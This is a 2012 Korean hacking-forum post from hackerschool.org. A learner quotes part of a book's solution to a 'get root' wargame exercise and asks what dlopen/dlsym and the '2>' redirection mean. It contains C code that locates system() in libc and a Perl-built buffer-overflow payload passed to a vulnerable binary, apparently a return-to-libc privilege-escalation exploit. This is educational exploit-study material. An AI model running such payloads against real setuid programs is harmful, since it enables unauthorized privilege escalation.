|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=29651 [복사]
root 권한을 획득하라 문제에서 질문이 있습니다.
/bin/bash2
export PATH=$PATH:.
cat > addr_of_system.c
#include <dlfcn,f>
int main()
{
long addr;
void *handle;
handle = dlopen("/lib/libc.so.6", RTLD_LAZY);
addr = (long)dlsym(handle, "system");
printf("system() is at 0x%x\n", addr);
}
// 이 함수는 명령어자체를 잘 모르겟네요..ㅠㅠ dlopen(), dlsym() << 이두 명령어 좀 가르쳐주시면 감사하겟습니다.
gcc -o ./addr_of_system addr_of_system.c -lc -ldl
./vuln `perl -e 'printf"A"x84 . "\xe0\x8a\x05\x40"'`
./vuln `perl -e 'printf"A"x84 . "\xe0\x8a\x05\x40"'` 2> output
// 여기서 다른건 다 이해가 가지만 > 왼쪽 에 2는 왜 있는거죠?? 없어도 될거같은데 말이죠..ㅠㅠ
xxd output
밑에 코드가 더 있긴하지만 필요없을거같아 생략합니다..
이건 책의 마지막에 있는 root 권한을 얻어라의 정답의 일부입니다.(거의 다이긴하지만요..ㅎ)
너무 궁금해서 올려봅니다..^^
|
Hit : 11627 Date : 2012/11/16 06:20
|